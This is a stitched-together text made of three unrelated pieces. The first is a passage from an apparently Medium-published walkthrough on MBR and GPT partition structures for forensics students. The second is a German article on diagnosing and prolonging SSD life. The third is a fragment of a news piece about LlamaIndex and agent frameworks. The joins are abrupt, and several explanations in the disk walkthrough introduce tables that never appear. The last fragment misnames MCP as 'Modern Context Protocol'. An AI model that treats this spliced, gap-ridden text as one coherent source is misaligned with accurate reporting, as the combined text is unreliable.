This is the largest section, taking up almost the entire MBR. It is the very first piece of code that executes on your machine. Its only job is to scan the Partition Table and find which partition is marked as bootable (boot indicator: 80 meaning it is the C:\ Drive). Once it finds the bootable partition, it loads the second-stage bootloader from it, which then loads the actual OS kernel.

B. Partition Table (Bytes 446–509) — Purple, Teal, Coral, Pink
This section is the map of all the partitions on the disk. It is only 64 bytes, but carries critical information. Since, MBR disk supports a maximum of 4 partitions, and each partition gets 16 bytes of space in the table making 64 bytes total. Those 16 bytes are divided into 6 fields, for example:

For your understanding, the partition details of the same disk through the disk management utility of the Windows OS.

Now, first understand all the core terms:

What is CHS? Hard disks (specifically older ones) are made of circular spinning platters, like CDs stacked on top of each other. Data is stored on these platters in concentric rings. To locate any piece of data physically, you needed three coordinates:

Together, Cylinder+Head+Sector gave you the exact physical location on the disk — like a 3D coordinate system inside the drive.

The Starting CHS = where the partition physically begins on these platters
The Ending CHS = where it physically ends

Modern disks are too large and too complex for CHS to work accurately. CHS can only address up to ~8 GB of disk space — completely useless for today’s multi-terabyte drives. That’s why LBA replaced it.

What is LBA — Logical Block Addressing?

CHS required knowing the physical geometry of the disk — how many platters, how many rings, etc. Different disks had different geometries, making it complicated. LBA throws away all that physical complexity. It says:

“Forget cylinders and heads. Just number every sector from 0 to the end, in a straight line.”

Every sector gets a simple sequential number called its LBA address:

LBA Offset — What Does “Offset” Mean?

An offset is simply a distance from the beginning.

• LBA offset 0 = the very start of the disk
• LBA offset 2048 = 2048 sectors from the start

To convert an LBA to an actual byte position (which is what a hex editor uses):

Byte Position = LBA * sector size

So, if the LBA = 2048, we know that the sector size is 512 bytes, the partition starts at 1,048,576 bytes from the beginning of the disk.

“The sector the partition starts at” just means: which sector number does this partition begin at? In our example, Partition 1 begins at sector 2048.

Little-Endian vs Big-Endian

This is about the order in which bytes are stored in memory or on disk.

The problem is that numbers bigger than one byte need multiple bytes to store. For example, the number 2048 in hex is 0x00000800 — that’s 4 bytes: 00 00 08 00.

But which byte do you write first?

Big-Endian — “Natural” Order: Write the most significant (biggest) byte first — just like how humans write numbers:

Little Endian — Least Significant (smallest) Byte first:

Intel processors — found in virtually all desktop and laptop computers — use little-endian. This means whenever you read a multi-byte value from an MBR or GPT structure, you must reverse the bytes before interpreting the number.

Now, field-by-field breakdown:

Field 1 — Boot Indicator (1 byte)

This is the simplest field. It answers one yes/no question: is this partition bootable? Only one partition across all four can have 80. On windows, this is always your C: drive. All other partitions will show 00.

Field 2 — Starting CHS Address (3 bytes)

These 3 bytes tell the system the physical starting location of the partition on the actual hardware.

Field 3 — Partition Type (1 byte)

This single byte tells you what filesystem the partition uses. Every filesystem has a unique code:

Field 4 — Ending CHS Address (3 bytes)

Same concept as the Starting CHS Address, but marks the physical end of the partition. Again, this is largely ignored in modern forensics because LBA addressing (below) is far more reliable and easier to work with.

Field 5 — Starting LBA Address (4 bytes)

LBA = Logical Block Addressing — this is the modern, simplified way to locate a partition. Instead of physical cylinder/head/sector coordinates, LBA gives you a simple logical number representing which sector the partition starts at. This is the field forensic analysts care about most, because it lets you jump directly to the partition in a hex editor.

How to use LBA to find the partition:

The bytes are stored in little-endian format — meaning the bytes are written in reverse order (least significant byte first). You must reverse them before doing anything.

Step 1 — Read the raw bytes:

00 08 00 00

Step 2 — Reverse them (little endian -> big endian):

00 00 08 00

Step 3 — Convert hex to decimal:

00 00 08 00 (hex) = 2048 (decimal)

Step 4 — Multiply by sector size (always 512 bytes):

2048 * 512 = 1,048,576

Step 5 — Jump to that offset in the hex editor:

Go to offset 1,048,576 in HxD using Search → Go To → enter the decimal value. You will land exactly at the start of this partition on the disk.

This technique is extremely powerful in forensics. Even if a partition has been deleted or hidden, as long as the LBA entry exists or can be reconstructed, you can jump directly to it and carve out data that hasn’t been overwritten yet.

Field 6 — Number of Sectors (4 bytes)

These last 4 bytes tell you how many sectors the partition contains, which lets you calculate its exact size of partition.

Step 1 — Read the raw bytes:

00 B0 23 03

Step 2 — Reverse them (little-endian):

03 23 B0 00

Step 3 — Convert hex to decimal:

03 23 B0 00 (hex) = 52,670,464 (decimal)

Step 4 — Multiply by sector size:

52,670,464 × 512 = 26,967,277,568 bytes
                 ≈ 25.1 GB

C. MBR Signature

The very last two bytes of the entire 512-byte MBR. These are a hard-wired validity check. The BIOS/UEFI firmware reads these two bytes after loading the MBR and asks: are they 55 AA? Yes → valid MBR, proceed with boot. Anything else → halt and show a boot error. Malware targets these specifically because flipping just these two bytes makes the entire system unbootable instantly.

What if GPT?

GPT is a complete redesign of how disk structure is stored. Instead of cramming everything into a single 512-byte sector, GPT spreads across multiple sectors, maintains backup copies of everything, and uses cryptographic checksums to detect corruption instantly.

Before discussing anything, we need to know about few concepts:

1. Mixed Endian — Some parts are little-endian, some are big-endian. GPT uses this for GUIDs.
2. GUID (Globally Unique Identifier) — A 128-bit unique ID assigned to disks and partitions, formatted like C12A7328-F81F-11D2-BA4B-00A0C93EC93B. No two GUIDs are the same — it's like a fingerprint.

3. CRC32 (Cyclic Redundancy Check) — A checksum. The system calculates a number based on the data. If someone tampers with or corrups the data, the CRC32 value changes — acting as a tamper/corruption detector.

Structure of the GPT:

Unlike MBR which lived only in Sector 0, GPT spreads across multiple sectors and has 5 components:

Component 1 — Protective MBR (Sector 0)

The very first sector of a GPT disk still looks like an MBR — but it’s a fake, dummy MBR. It exists purely to protect GPT disks from old BIOS systems that don’t understand GPT. Old BIOS systems expect to find an MBR in Sector 0. If they don’t, they might think the disk is blank and accidentally overwrite it. The Protective MBR says to the BIOS — “Yes, I’m an MBR, everything is fine, don’t touch anything.”

Component 2 — Primary GPT Header (Sector 1)

The real GPT begins here. The GPT Header is the master blueprint of your disk — it tells the system everything it needs to know about the disk’s layout. It only uses the first 92 bytes of the sector. The remaining bytes are padded with zeros.

All 14 Fields Explained:

1. Signature (Bytes 0–7) Value: 45 46 49 20 50 41 52 54 This spells "EFI PART" in ASCI — 8 characters, one byte each. It identifies whether this sector is a valid GPT header at all or not. Always present at the very start.

2. Revision (Bytes 8–11) Value: 00 00 01 00 → Version 1.0 indicates which version of the GPT specification this disk uses. Almost always 1.0.

3. Header Size (Bytes 12–15) Value: 5C 00 00 00 are in little-endian → Reverse→ 00 00 00 5C → Decimal 92 Confirms the GPT header is 92 bytes long. Basically it tells how large the GPT header itself is.

4. CRC32 of Header (Bytes 16–19) This is the integrity seal of the GPT header itself. When the header is first written to disk, the computer calculates a CRC32 checksum — a mathematical fingerprint — across all 92 bytes of the header (with this field itself temporarily set to zero during calculation). Every time the computer boots, it recalculates the CRC32 of the header and compares it to this stored value. If they match, the header is intact. If they differ, even by a single bit, the computer knows the header has been corrupted or tampered with. It then looks at the Backup LBA field (field 7) to find the backup header and restores from it. This is GPT’s primary self-healing trigger.

5. Reserved (Bytes 20–23) These are the 4 bytes intentionally left empty — always set to zero. They serve as a reserve space: if a future version of GPT needs to add a small new field to the header, these bytes are available without having to redesign the entire header structure. You will always 00 00 00 00 here on any valid GPT disk. If you see anything other than zeros, something has gone wrong — or the disk was formatted by non-standard software.

6. Current LBA (Bytes 24–31) Value: 01 00 00 00 00 00 00 00 → Decimal 1
This field stores the sector number where this header itself is located. For the primary header, that is always LBA 1.

GPT keeps two identical copies of the header: one at the start of the disk (LBA 1) and one at the very end. Both copies are nearly identical, but they swap current LBA field and backup LBA field.

7. Backup LBA (Bytes 32–39) → This field is the address of the partner header — the backup copy of the GPT header stored at the very end of the disk. For the primary header, Backup LBA points to the last sector of the disk. For the backup header, Backup LBA points back to LBA 1. Together, Current LBA and Backup LBA form a two-way handshake: each header knows exactly where it is and exactly where its partner lives. This is how the system knows where to find the backup if the primary gets corrupted.

8. First Usable LBA (Bytes 40–47) The first sector where actual partition data can begin. Sectors from 0 to 33 before this are reserved for GPT’s own structures. The value 22 in hex = 34 in decimal, so LBA 34 is the first usable sector. If any partition started before LBA 34, it would overwrite these critical structures and destroy the disk layout. This field is the safety boundary. Any disk management tool creating a new partition checks this field first and ensures no partition starts before this value. Every partition’s individual Starting LBA must be greater than or equal to this number.

9. Last Usable LBA (Bytes 48–55) The last sector where partition data can end. Sectors after this are reserved for the backup GPT structures at the end of the disk — a full copy of the Partition Entry Array and the backup GPT header. No partitions can extend beyond this point. The usable space on your disk is therefore a defined window: from First Usable LBA to Last Usable LBA. Everything outside this window belongs to GPT’s own infrastructure. This is why you never get the full advertised disk capacity as usable space — a small number of sectors at both ends are consumed by GPT overhead.

10. Disk GUID (Bytes 56–71) A unique 16-byte identifier for this specific disk. No other disk in the world has the same GUID. Formatted as: 1DF1B0D6-43BE-374E-B1E6-3866ECB17389. Used to distinguish this disk from all others connected to the system. It also matters in forensics: if you clone a disk byte-for-byte, the clone inherits the same Disk GUID, which forensic tools detect as suspicious — two disks claiming the same identity. Each partition also has its own separate GUID stored in its partition entry. The Disk GUID here is specifically about the whole drive, not any individual partition.

11. Partition Entry Array LBA (Bytes 72–79) The field points to the sector where the Partition Entry Array begins — the master list of all partitions on the disk. The value is almost always LB2 (Sector 2), the sector immediately after the GPT header. The Partition Entry Array contains up to 128 records, each describing one partition. By storing this address explicitly rather than hardcoding it, GPT allows software to verify the array is where it expects it to be. If this field pointed to an unexpected location, it would immediately signal corruption or tampering.

12. Number of Partition Entries (Bytes 80–83) Value: 80 00 00 00 → Decimal 128 GPT always reserves space for 128 partitions, regardless of how many partitions you actually create. Even if your disk has only 3 partitions, the Partition Entry Array still contains 128 slots — the unused 125 are simply filled with zeros. Why? Because the array must be a fixed, known size before any partitions exist.

13. Size of Each Partition Entry (Bytes 84–87) Value: 80 00 00 00 → Decimal 128 bytes Each partition's entry in the Partition Entry Array takes up exactly 128 bytes. Not the partition's own size — just the size of its record in the table. So the total space the Partition Entry Array is:

128 entries * 128 bytes each = 16, 384 bytes

This is just multiplication — 128 slots, each slot is 128 bytes wide, so the entire table is 16,384 bytes total. And you know that each sector holds 512 bytes. So to find how many sectors 16, 384 bytes needs:

16,384 bytes ÷ 512 bytes per sector
= 32 sectors

The Partition Entry Array needs exactly 32 sectors — not 31, not 33. Perfectly fits with no leftover space. This is why it occupies LBA 2 through LBA 33:

LBA 2  = Sector 1 of the array
LBA 3  = Sector 2 of the array
LBA 4  = Sector 3 of the array
...
LBA 33 = Sector 32 of the array  ← array ends here

14. CRC32 of Partition Array (Bytes 88–91) A checksum for the entire Partition Entry Array. If any partition entry is tampered with or corrupted, this checksum will fail and the system is alerted. Every time the system reads the partition table, it recalculates this checksum and compares it to the stored value. If even one byte in any partition entry has changed — due to disk corruption, a failing drive sector, or deliberate tampering — this checksum fails. The system then falls back to the backup GPT at the end of the disk, which has its own copy of the array with its own checksum. If the backup is intact, the primary is repaired automatically.

Component 3 — Partition Entry Array (Sectors 2–33)

This is the actual partition table of GPT — a list of all 128 partition entries, each exactly 128 bytes. It starts at Sector 2 and spans through Sector 33.

Each Partition Entry Has 6 Fields:

1. Partition Type GUID (Bytes 0–15) Identifies what kind of partition this is — EFI System Partition, Windows data partition, Linux partition, etc. Stored in mixed-endian, so you need to reverse specific byte groups before reading. Once converted, you can look up the GUID online to find the partition type.

Example: C12A7328-F81F-11D2-BA4B-00A0C93EC93B = EFI System Partition

2. Unique Partition GUID (Bytes 16–31) A unique identifier for this specific partition. No two partitions — even of the same type — share this GUID. Also stored in mixed-endian format.

3. Starting LBA (Bytes 32–39) The sector number where this partition begins on the disk.

4. Ending LBA (Bytes 40–47) The sector number where this partition ends on the disk. The partition occupies every sector between Starting LBA and Ending LBA.

5. Attributes (Bytes 48–55): An 8-byte field where individual bits acts as flags — each bit being 0 or 1 switches a property on or off. Flags that describe special properties of the partition:

• Is it required by the system (cannot be deleted)?
• Is it bootable?
• Is it hidden from the OS?

For example, the EFI System Partition typically has Bit 0 = 1 (required, cannot be deleted) and Bit 2 = 1 (bootable).

6. Partition Name (Bytes 56–127) The human-readable name of the partition (e.g., “EFI System Partition”, “Basic Data Partition”). Encoded in UTF-16 format, taking up the remaining 72 bytes of the entry.

This is purely for human readability — disk tools and partition managers display this name to you. The system itself uses the GUIDs, not this name, to identify partitions.

Component 4 — Your Actual Partitions (LBA 34 to Last Usable LBA)

This is the space where your C: drive, D: drive, and any other partitions live. Everything from LBA 34 to the Last Usable LBA is available for partition data. Each partition’s exact location is defined by the Starting LBA and Ending LBA in its partition entry.

Component 5 — Backup GPT (End of Disk)

GPT stores a complete backup of both the Partition Entry Array and the GPT Header at the very end of the disk. The backup Partition Entry Array comes first, followed by the backup GPT Header at the very last sector.

If the primary GPT Header or Partition Entry Array fails its CRC32 check, the system reads the Backup LBA from whatever it could parse of the primary, jumps to the end of the disk, and reads the backup. If the backup is intact, the primary is automatically restored. This is the self-healing system that MBR never had.

The EFI System Partition (ESP) — Critical Concept

The first partition on any GPT disk is almost always the EFI System Partition. This is where the bootloader files live — files with the .efi extension that are responsible for loading your operating system.

In MBR, the bootloader was crammed into the tiny 446 bytes of bootloader code in Sector 0. In GPT/UEFI, the bootloader is a collection of proper files stored in this dedicated partition — much more flexible and robust.

MBR approach:
┌─────────────────────────────────┐
│ Sector 0 — 512 bytes total      │
│ ├── 446 bytes: Bootloader code  │ ← entire bootloader crammed here
│ ├── 64 bytes:  Partition table  │
│ └── 2 bytes:   Signature        │
└─────────────────────────────────┘
446 bytes is tiny — barely enough for a basic bootloader

GPT/UEFI approach:
┌──────────────────────────────────────────┐
│ EFI System Partition (100 MB typical)    │
│ ├── /EFI/Boot/bootx64.efi               │ ← actual bootloader files
│ ├── /EFI/Microsoft/Boot/bootmgfw.efi    │ ← Windows boot manager
│ ├── /EFI/ubuntu/grubx64.efi            │ ← Linux bootloader
│ └── ... more .efi files                 │
└──────────────────────────────────────────┘
Hundreds of megabytes — full files, multiple OS bootloaders can coexist

With MBR, you had 446 bytes to work with. With GPT, you have an entire partition — typically 100 MB — filled with proper .efi files. This is why modern systems can dual-boot Windows and Linux cleanly, with each OS storing its own bootloader file in the ESP without conflicting.

Step 5 — Load Bootloader

After the system firmware (BIOS/UEFI) identifies the bootable partition using the MBR or GPT, it loads a more advanced program called the bootloader from that partition into memory. This bootloader (such as GRUB for Linux or Windows Boot Manager) is capable of understanding the disk’s filesystem, unlike the tiny first-stage code in the MBR. Its job is to locate the necessary operating system files, especially the kernel, and prepare the system for startup. In some cases, it also provides a menu that allows the user to choose between multiple operating systems or boot options. At this stage, the system transitions from very basic hardware-level instructions to a more intelligent program that can interact with stored data in a structured way.

Step 6 — Load OS

Once the bootloader has done its job, it loads the operating system’s kernel into RAM and transfers control to it. The kernel is the core of the operating system and is responsible for managing hardware, memory, processes, and system resources. After taking control, the kernel initializes essential components such as device drivers, sets up communication between hardware and software, and starts system services. This process eventually leads to the launching of the user interface, such as a login screen or desktop environment. At this point, the computer is fully operational, and the operating system is ready for user interaction.

The Full Boot Chain at a Glance

Power button pressed
        ↓
CPU executes UEFI firmware
        ↓
POST — hardware health check
        ↓
Firmware reads boot order → selects disk
        ↓
Reads Sector 0 → Protective MBR → identifies GPT disk
        ↓
Reads Sector 1 → GPT Header → verifies CRC32
        ↓
Reads Sectors 2–33 → Partition Entry Array → verifies CRC32
        ↓
Finds EFI System Partition → mounts FAT32 filesystem
        ↓
Loads bootmgfw.efi → Windows Boot Manager runs
        ↓
Loads winload.efi → verifies Secure Boot signatures
        ↓
Loads ntoskrnl.exe → Windows kernel takes control
        ↓
Drivers, services, login screen → OS fully running

At any stage where a CRC32 fails, the system automatically attempts recovery from the backup GPT structures. At any stage where Secure Boot detects a signature mismatch, loading is refused. This layered resilience is what separates modern GPT-based systems from the fragile MBR-based boot process they replaced.

Why This Knowledge Matters

For cybersecurity: The structures covered here are the primary targets of the most sophisticated malware — bootkits — because they execute before the OS and therefore before any antivirus. Understanding these structures is prerequisite knowledge for understanding how bootkit attacks work and why Secure Boot was designed to counter them.

For digital forensics: The Starting LBA of every partition is recorded in the partition table even after the partition is deleted. A forensic analyst who knows how to read these entries can jump directly to former partition locations and recover data that the user believed was erased. The Disk GUID also persists through most deletions and can link a disk to a specific machine.

For system administration: When a disk fails to boot, understanding the chain above tells you exactly which component to investigate first — is the GPT Header corrupted? Is the ESP missing? Is the bootloader file absent? Each failure has a specific symptom and a specific repair procedure. Without this foundation, troubleshooting is guesswork.

The structures discussed here are not esoteric knowledge. They are the literal foundation that every piece of software on your computer depends on, every time it starts.

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

This blog is written for students and beginners moving beyond surface-level understanding into how systems actually work — particularly those interested in cybersecurity, digital forensics, and operating systems.

TryHackMe Walkthrough: MBR and GPT Analysis (Beginner to Intermediate Guide) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Wer ein PC-Upgrade plant und deshalb gerade die Preisvergleiche der großen Onlinehändler prüft, reibt sich die Augen: Warum ist Speicher so teuer? Früher wurden SSDs und RAM doch laufend günstiger.

Diese Zeiten sind vorbei: Die Kombination aus explodierender Speicher-Nachfrage für KI-Server und -Hardware und einer vorherigen Produktionsverknappung hat die Preise für SSDs massiv nach oben getrieben.

Denn zum einen bauen die Hersteller momentan vor allem DRAM-Speicher für Server und KI-Grafikkarten und weniger NAND-Flash für SSDs. Zudem setzen auch KI-Rechenzentren SSDs als Laufwerke ein. Die Folge: Das Angebot für PC- und Notebook-Anwender schrumpft, die Preise steigen. Laut Experten hat sich NAND-Speicher seit Jahresbeginn um rund 60 Prozent verteuert.

Ein gutes Beispiel ist die Samsung 990 PRO NVMe M.2 SSD 2 TB, die bei Amazon derzeit knapp 290 Euro kostet – bis November 2025 war sie meist schon für 160 bis 170 Euro zu haben.  

Diese Entwicklung verwandelt die SSD in Ihrem Rechner von einer jederzeit austauschbaren Komponente zu einem kostbaren Gut, für dessen Langlebigkeit Sie jetzt gut sorgen sollten. Mit unseren Tipps prüfen Sie die Gesundheit des Flashlaufwerks und können sofort Gegenmaßnahmen ergreifen, wenn sie sich verschlechtert. So läuft Ihre SSD problemlos, bis die Preise wieder sinken.

Falls sich aber doch mal eine SSD verabschiedet, finden Sie in unseren Vergleichstests Die besten SSDs aller Klassen von SATA bis PCIe 5.0 im Test und Die besten SSDs mit PCIe 4.0 im Test leistungsfähigen Ersatz.

An diesen PC-Fehlern erkennen Sie SSD-Probleme

Eine SSD stirbt leise. Da dem Flashlaufwerk bewegliche Teile fehlen, hören Sie im Schadensfall kein verdächtiges Klackern wie bei einer HDD. Deshalb sollten Sie auf ungewöhnliches Verhalten des PCs achten, dessen Ursache SSD-Fehler sein könnten.

Auffällig langsamer Windows-Start. Wenn das Betriebssystem behäbig startet und es lange dauert, bis der Anmeldebildschirm oder Desktop angezeigt wird, kann das an zu vielen Programmen im Autostart liegen. Doch falls das gesamte System während des Betriebs für Sekundenbruchteile einfriert, sollten Sie aufmerksam werden: Dieses Verhalten kann auftreten, wenn der SSD-Controller versucht, Daten aus einer Speicherzelle zu lesen, die ihre physikalische Integrität verliert. Das Laufwerk muss den Vorgang dann wiederholen, um die gewünschten Daten fehlerfrei zu erhalten, was das gesamte System ausbremst.

Fehler beim Dateizugriff. Ein deutlicheres Warnsignal sind Fehlermeldungen beim Zugriff auf Dateien. Meldet Windows beim Öffnen eines Dokuments, dass es beschädigt ist oder aufgrund eines „E/A-Gerätefehlers” nicht geöffnet werden kann, sind sehr wahrscheinlich die SSD-Speicherbereiche bereits defekt, in denen die gewünschten Daten liegen. Einige Laufwerke verfügen für diesen Fall über einen eingebauten Schutzmechanismus: Sie schalten in einen Nur-Lese-Modus um, wenn die Fehlerquote einen kritischen Schwellenwert erreicht. Sie können dann Dateien noch aufrufen und kopieren, aber neue oder geänderte nicht mehr speichern.

Windows stürzt plötzlich ab. Meldet sich das Betriebssystem unerwartet mit dem berüchtigten „Blue Screen of Death” ab, der als Fehlerursache „WHEA_UNCORRECTABLE_ERROR” zeigt, ist häufig ein schwerwiegender Fehler im Kommunikationsweg zwischen Prozessor und Speicher das Problem. Die Ursache dafür kann eine thermische Überlastung oder ein instabiler SSD-Controller sein. Auch hier sollten Sie nicht warten, sondern sofort eine umfassende Fehlerdiagnose starten.

Bordmittel oder Gratis-Tool: So prüfen Sie die SSD-Gesundheit

Windows gibt über ein verstecktes Bordmittel Hinweise auf den Zustand der eingebauten SSD. Um es zu nutzen, öffnen Sie über das Startmenü die „Einstellungen”, navigieren zu „System” und dort zu „Speicher”. Unter den „Erweiterten Speichereinstellungen” finden Sie den Bereich „Datenträger und Volumes”. Wenn Sie bei Ihrer SSD auf die Schaltfläche „Eigenschaften” klicken, zeigt Ihnen Windows die „Geschätzte verbleibende Lebensdauer” sowie die aktuelle Temperatur an. Diese Anzeige basiert auf den sogenannten SMART-Werten (Self-Monitoring, Analysis, and Reporting Technology), die jedes moderne Laufwerk ständig im Hintergrund aufzeichnet.

Friedrich Stiemer

Diesen Status sehen Sie aber nur, wenn die SSD mit dem Windows-Standardtreiber für NVMe arbeitet. Notebooks mit einer Intel-CPU verwenden aber oft einen Intel-Treiber wie „Intel RST VMD Controller”, was Sie im Geräte-Manager unter „Speichercontroller” prüfen können: Er gibt die SMART-Werte der SSD nicht weiter, Windows zeigt deshalb den erweiterten Status dann nicht.

Für eine detailliertere Analyse empfehlen wir das Gratis-Tool Crystaldiskinfo. Nach Installation und Start zeigt es eine tabellarische Übersicht. Achten Sie vor allem auf die Information, die oben links steht: Dort signalisiert ein farbiger Punkt den aktuellen Gesamtzustand der SSD. Ein blaues „Gut” bedeutet Entwarnung. Bei einem gelben „Vorsicht” sollten Sie am besten rasch Ihre Daten sichern und einen baldigen Austausch des Laufwerks in Betracht ziehen. Ein rotes „Schlecht” fordert Sie zum sofortigen Handeln auf.

Friedrich Stiemer

Um die kryptischen Zahlenwerte im Tool verständlich zu machen, ist ein kleiner Handgriff nötig: Standardmäßig zeigt Crystaldiskinfo die von der SSD erhobenen „Rohwerte” im Hexadezimalformat. Gehen Sie deshalb im Programmmenü auf den Punkt „Optionen” oder „Funktion”, wählen Sie „Erweiterte Optionen”, dann „Rohwerte” und stellen Sie um auf „10 [DEC]”. Nun sehen Sie beispielsweise bei der Betriebsdauer und den geschriebenen Datenmengen leicht nachvollziehbare Zahlenwerte.

Um die Lebensdauer Ihrer SSD einzuschätzen, achten Sie auf den Punkt „Percentage Used” oder „Verschleißregulierung”: Wenn dieser Wert bei 95 Prozent liegt, bedeutet das bei den meisten Herstellern, dass bereits fünf Prozent der garantierten Lebensdauer verbraucht sind.

Expertenanalyse mit der Windows-Ereignisanzeige

Einen tiefergehenden Blick ins SSD-Innenleben liefert die Windows-Ereignisanzeige – sozusagen das Tagebuch Ihres Rechners. Hier lassen sich Laufwerksprobleme erkennen, die die Diagnosesoftware verschweigt, weil ihre Häufigkeit noch unter einem festgelegten Schwellenwert liegt.

Friedrich Stiemer

Öffnen Sie die Ereignisanzeige mit einem Rechtsklick auf das Windows-Logo in der Taskleiste und den Eintrag „Ereignisanzeige”. Navigieren Sie im Programm links zu „Windows-Protokolle > System”. Suchen Sie unter der Spalte „Quelle” nach dem Eintrag „Disk”, indem Sie beispielsweise die Quellen alphabetisch sortieren.

Besonders kritisch ist die Nummer 7 in der Spalte „Ereignis-ID”: Sie besagt: „Das Gerät hat auf \Device\HarddiskX\DRX einen schlechten Block gefunden.” Das ist die Diagnose für einen physischen Defekt.

Auch die Ereignis-ID 153 ist ein ernstzunehmender Hinweis: Sie besagt, dass eine Lese- oder Schreiboperation wiederholt werden musste. Häufen sich diese Meldungen, wird die SSD nicht mehr lange funktionieren.

Sollten Sie die Event-ID 157 entdecken, hat Windows den Kontakt zum Laufwerk verloren, was auf ein defektes Kabel oder einen lockeren Kontakt im Gehäuse hinweist.

TLC gegen QLC: Der bessere SSD-Speicher

Warum halten manche SSDs länger als andere? Das liegt vor allem daran, wie das NAND-Flash des Laufwerks Daten speichert. Die meisten SSDs arbeiten mit TLC- oder QLC-Speicher.

TLC (Triple-Level Cell) speichert drei Bits pro Zelle. Das erfordert eine präzise Messung der Spannung in acht Stufen. Die Belastung des Materials ist moderat, was zu einer Lebenserwartung von etwa 3000 Schreibzyklen pro Zelle führt.

OSCOO

Bei QLC (Quad-Level Cell) liegen vier Bits in derselben Zelle. Dafür muss der Controller 16 verschiedene Spannungsniveaus unterscheiden können. Die Zellen nutzen sich dadurch schneller ab – oft garantieren die Hersteller für SSDs mit QLC nur 1000 oder weniger Schreibzyklen.

Ist trotz der sehr hohen Preise gerade jetzt ein SSD-Neukauf notwendig, sollten Sie der Versuchung widerstehen, zu den günstigeren QLC-Laufwerken zu greifen. Wenn die SSD Ihr Hauptlaufwerk ist, auf dem Windows und alle Programme installiert sind, sollten Sie lieber in die robustere TLC-Technik investieren. Sie sparen sich damit möglichen Ärger und das Geld für einen verfrühten Neukauf.

So hat Ihre SSD weniger Stress

Sie können die Lebensdauer des Flashlaufwerks verlängern, indem Sie es clever im Rechner platzieren und wichtige Softwareeinstellungen vornehmen.

Eine SSD ist ein Hochleistungsbauteil, das im Betrieb Wärme erzeugt – vor allem der SSD-Controller leidet unter Hitzeentwicklung. NVMe-SSDs im M.2-Format, die direkt auf das Mainboard gesteckt werden, erreichen unter Last Temperaturen von über 70 Grad Celsius. Üblicherweise greift dann eine eingebaute Notbremse: Die SSD drosselt ihre Geschwindigkeit, um Schäden zu vermeiden. Dieser Wechsel zwischen Hitze und Abkühlung belastet aber das Material.

Deshalb sollten Sie dafür sorgen, dass die SSD nicht überhitzt – das gilt besonders für Anwender, die häufig große Datenmengen wie zum Beispiel Videos kopieren.

In einem PC sollte die SSD idealerweise im Luftstrom des Gehäuselüfters liegen. Wenn Ihre Hauptplatine keine Kühlkörper für die M.2-Steckplätze besitzt, können Sie einen passiven Kühlkörper für unter 10 Euro nachrüsten, etwa den Arctic M2 Pro Heatsink-Kühler.

iFixit

Diese Metalllamellen kleben oder schrauben Sie auf die SSD – sie können die Temperatur oft um 10 bis 15 Grad senken. Weniger Möglichkeiten haben Sie bei einem Notebook: Hier können Sie aber darauf achten, den Laptop nicht dauerhaft zu stark auszulasten sowie die Luftein- und -auslässe am Gehäuse nicht zu blockieren.

Eine wichtige Softwareeinstellung für ein längeres SSD-Leben ist das sogenannte Over-Provisioning: Die SSD stellt dabei dem Betriebssystem weniger Speicherplatz zur Verfügung, als sie eigentlich besitzt. Dadurch kann der Controller Daten intern effizient umschichten und muss einzelne Speicherzellen nicht zu häufig beschreiben oder löschen, was sie abnutzt.

Das erreichen Sie, indem Sie die SSD nicht vollständig partitionieren, sondern nur zu rund 90 Prozent. So bleiben dem Controller zehn Prozent Speicherplatz als Daten-Rangierbahnhof. Einfacher geht es mit einem Tool des SSD-Herstellers, zum Beispiel Magician bei Samsung-SSDs.

Tipps für Windows: So entlasten Sie Ihren Speicher

Windows 11 geht üblicherweise pfleglich mit einer SSD um. Doch mit ein paar gezielten Handgriffen können Sie die Schreiblast weiter senken. Ein zentraler Punkt ist der TRIM-Befehl: Durch ihn erfährt die SSD, welche Daten gelöscht wurden, um diese Bereiche im Hintergrund zu säubern.

Stellen Sie sicher, dass diese Funktion aktiv ist, indem Sie im Startmenü „Laufwerke defragmentieren und optimieren” eingeben. Dort sollte bei der SSD unter „Aktueller Status” entweder „Optimierung erforderlich” oder „OK” stehen.

Friedrich Stiemer

Eine klassische Defragmentierung, wie man sie von Festplatten kennt, ist bei SSDs pures Gift, da sie die Zellen unnötig oft beschreibt, ohne einen Geschwindigkeitsvorteil zu bringen. Windows erkennt dies automatisch und führt stattdessen den TRIM-Vorgang durch.

Wenn Ihr Rechner über sehr viel Arbeitsspeicher verfügt – zum Beispiel 32 GB oder mehr –, können Sie erwägen, den Ruhezustand vollständig abzuschalten. Ist dieser aktiv, schreibt Windows bei jedem Ausschalten den gesamten Inhalt des Arbeitsspeichers auf die SSD, was wertvolle Schreibzyklen kostet.

Um dies zu verhindern, klicken Sie mit der rechten Maustaste auf das Windows-Logo in Ihrer Taskleiste und wählen „Terminal (Administrator)” oder „Eingabeaufforderung (Administrator)”. Tippen Sie in das schwarze Fenster den Befehl powercfg -h off ein und bestätigen Sie mit der Enter-Taste. Damit löscht Windows gleichzeitig die Platzhalterdatei auf Ihrem Laufwerk und spart oft mehrere Gigabyte Speicherplatz ein.

Als Alternative bietet sich der „Energie sparen”-Modus (Standby) an, der die Daten lediglich im RAM behält. Diese Funktion können Sie unter Windows 11 nach Ihren Wünschen anpassen: Öffnen Sie die „Einstellungen” mit der Tastenkombination Windows-I, navigieren Sie zu „System” und wählen Sie dort den Bereich „Leistung”.

Unter dem Punkt „Timeouts für Bildschirm, Standbymodus und Ruhezustand” legen Sie in den Drop-down-Menüs fest, nach wie vielen Minuten Ihr Rechner automatisch in den Standby-Modus wechseln soll, sowohl im Akku- wie im Netzbetrieb.

“As a result, there's less of a need for frameworks to actually help users compose these deterministic workflows in a light and shallow manner,” Jerry Liu, co-founder and CEO of LlamaIndex, explains in a new VentureBeat Beyond the Pilot podcast. 

Context is becoming the moat

Liu’s LlamaIndex is one of the foremost retrieval-augmented generation (RAG) frameworks connecting private, custom, and domain-specific data to LLMs. But even he acknowledges that these types of frameworks are becoming less relevant. 

With every new release, models demonstrate incremental capabilities to reason over “massive amounts” of unstructured data, and they’re getting better at it than humans, he notes. They can be trusted to reason extensively, self-correct, and perform multi-step planning; Modern Context Protocol (MCP) and Claude Agent Skills plug-ins allow models to discover and use tools without requiring integrations for every one independently. 

Agent patterns have consolidated toward what Liu calls a "managed agent diagram" — a harness layer combined with tools, MCP connectors, and skills plug-ins, rather than custom-built orchestration for every workflow.

